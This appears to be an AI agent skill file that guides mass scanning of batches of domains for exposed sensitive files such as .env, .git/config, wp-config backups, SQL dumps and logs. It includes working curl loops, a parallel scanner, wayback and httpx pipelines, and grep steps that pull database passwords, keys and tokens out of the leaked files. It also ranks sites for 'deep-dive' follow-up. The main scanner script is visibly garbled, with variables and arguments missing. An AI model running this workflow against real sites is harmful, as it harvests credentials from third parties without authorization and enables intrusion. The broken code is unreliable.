Source Leak Hunt Skill
Mass scanning for exposed sensitive files (.env, .git/config, wp-config.php.bak, debug.log, backup.sql, phpinfo.php, Dockerfile, etc.) with content-based false positive filtering. Source leaks are the second most common finding (~7% of targets) after WordPress user enumeration.
When to Use
- After
skill_view(name='wp-mass-recon') confirms a target is alive.
- Broad scanning across a batch of domains.
- When probing for credential exposure that enables deeper access.
- Complementing
skill_view(name='js-secrets-extraction') for client-side secrets.
Prerequisites
terminal with curl.
- List of live URLs (output from httpx or wp-mass-recon Phase 1).
- Persistence: output directory at
$OUTDIR/leaks/.
How to Run
TARGET="https://example.com"
for path in .env .git/config wp-config.php.bak debug.log backup.sql info.php phpinfo.php \
.env.backup .env.local .env.production wp-config.php~ .git/HEAD .backup.sql \
docker-compose.yml Dockerfile .DS_Store robots.txt sitemap.xml; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
[[ "$code" == "200" ]] && echo "HTTP 200: $TARGET/$path"
sleep 0.2
done
Quick Reference
| Path | What It Exposes | Severity |
|---|
.env | DB creds, API keys, app secrets | Critical |
wp-config.php.bak | MySQL root password, salts | Critical |
.git/config | Repository URL, credentials | High |
debug.log | PHP errors, server paths, SQL queries | High |
backup.sql | Full database dump | Critical |
info.php / phpinfo.php | PHP config, disable_functions, server env | High |
docker-compose.yml | Service architecture, env vars | Medium |
Dockerfile | Build config, exposed ports | Low |
.env.backup / .env.local | Same as .env, alternate names | Critical |
wp-config.php~ | Vim swap of wp-config | Critical |
.DS_Store | Directory listing (macOS) | Low |
error_log | PHP error log (can be multi-MB, full of paths/queries) | High |
Procedure
Step 1 — Parallel Mass Scan
#!/bin/bash
URLS_FILE="$1"
OUTDIR="$OUTDIR/leaks"
mkdir -p "$OUTDIR"
PATHS=(
".env"
".git/config"
"wp-config.php.bak"
"debug.log"
"backup.sql"
"info.php"
"phpinfo.php"
".env.backup"
".env.local"
".env.production"
"wp-config.php~"
".git/HEAD"
"docker-compose.yml"
"Dockerfile"
".DS_Store"
"robots.txt"
"sitemap.xml"
"error_log"
"wp-content/debug.log"
".backup.sql"
)
declare -A PATTERNS
PATTERNS[".env"]='DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN'
PATTERNS["wp-config.php.bak"]='DB_NAME|DB_PASSWORD|AUTH_KEY'
PATTERNS[".git/config"]='\[core\]'
PATTERNS["debug.log"]='PHP|ERROR|WARNING|Stack trace'
PATTERNS["backup.sql"]='CREATE TABLE|INSERT INTO|DROP TABLE'
PATTERNS["info.php"]='PHP Version|phpinfo'
PATTERNS["phpinfo.php"]='PHP Version|phpinfo'
PATTERNS[".env.backup"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[]=
PATTERNS[]=
PATTERNS[]=
PATTERNS[]=
() {
url=
domain
domain=$( | sed | sed )
path ;
full_url=
code
code=$(curl -sk -o /tmp/leak_check_$$.tmp -w --max-time 5 --connect-timeout 5 2>/dev/null)
[[ == ]];
content
content=$( -c 2000 /tmp/leak_check_$$.tmp 2>/dev/null)
pattern=
[[ -n ]] && | grep -qiE ;
>>
/tmp/leak_check_$$.tmp 2>/dev/null
[[ -z ]];
size=$( -c < /tmp/leak_check_$$.tmp)
[[ -gt 50 ]];
>>
0.3
-f /tmp/leak_check_$$.tmp
}
-f scan_target
OUTDIR
PATHS
| xargs -P 30 -I {} bash -c
Step 2 — Extract Credentials from Leaked Files
grep -rhE '(DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN|SECRET)=' $OUTDIR/leaks/*.env*.content 2>/dev/null | sort -u
grep -rhE 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|AUTH_KEY' $OUTDIR/leaks/*wp-config* 2>/dev/null
grep -rh 'url = ' $OUTDIR/leaks/*.git_config.content 2>/dev/null
grep -rhE 'CREATE TABLE|INSERT INTO' $OUTDIR/leaks/*backup* $OUTDIR/leaks/*.sql* 2>/dev/null | head -20
Step 3 — Find Targets with Multiple Leaks (Deep-Dive Candidates)
for f in $OUTDIR/leaks/*_leaks.txt; do
count=$(wc -l < "$f")
[[ "$count" -ge 3 ]] && echo "$(basename "$f" _leaks.txt): $count leaks"
done | sort -t: -k2 -rn
Pitfalls
- SPA catch-all false positives over 70% of results without filtering. Single-page apps return HTTP 200 with index.html for any path. Content verification is mandatory.
- CloudFront/S3 error pages. Some CDNs return 200 with an XML error body for missing files. Check content type and body.
- Truncated content on large files.
error_log files can be 1.7MB+. Fetch in chunks or use curl -r 0-5000 for sampling.
- git/HEAD false positive. Some themes/setups have
.git/HEAD returning 200 with a legitimate git hash. Verify .git/config first.
- Parked/for-sale domains return HTTP 200 for every path. Generic parking pages serve content for /.env, /.git/config, /info.php, etc. with no error handling — every path returns 200 with the same landing page. Detect these by checking if multiple unrelated paths return identical content (same body hash, same
<title>, or same keyword like "for sale" or "parked"). Add early-exit: if /robots.txt and /.env both return 200 with near-identical HTML, mark domain as parked and skip further source-leak checks.
Verification
- Every
.env leak MUST contain at least one of: DB_, APP_, _KEY, _SECRET, PASSWORD, TOKEN.
- Every
wp-config.php.bak leak MUST contain DB_NAME and DB_PASSWORD.
- Every
.git/config leak MUST contain [core] section header.
- Every SQL backup MUST contain DDL (
CREATE TABLE) or DML (INSERT INTO) statements.
- Log all verified leaks with timestamp and HTTP response size.
Phase 6 — Backup File Discovery
bfac --url https://target.com \
--detection-technique all \
--level 3 \
--exclude-status-codes 404,500
waybackurls https://target.com | grep -iE \
"\.(xls|xlsx|csv|sql|db|bak|backup|old|tar\.gz|tgz|zip|7z|rar|pdf|pem|key|crt|env|json|yml|yaml|conf|config|git|htpasswd|log|dump|DS_Store)" \
| sort -u > sensitive_wayback.txt
cat sensitive_wayback.txt | httpx -silent -mc 200 -o accessible_sensitive.txt
for ext in bak old backup zip tar.gz tgz sql dump; do
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/backup.$ext" | head -1
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/site.$ext" | head -1
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/target.$ext" | head -1
sleep 0.3
done
Phase 7 — Google Services Leak Dorking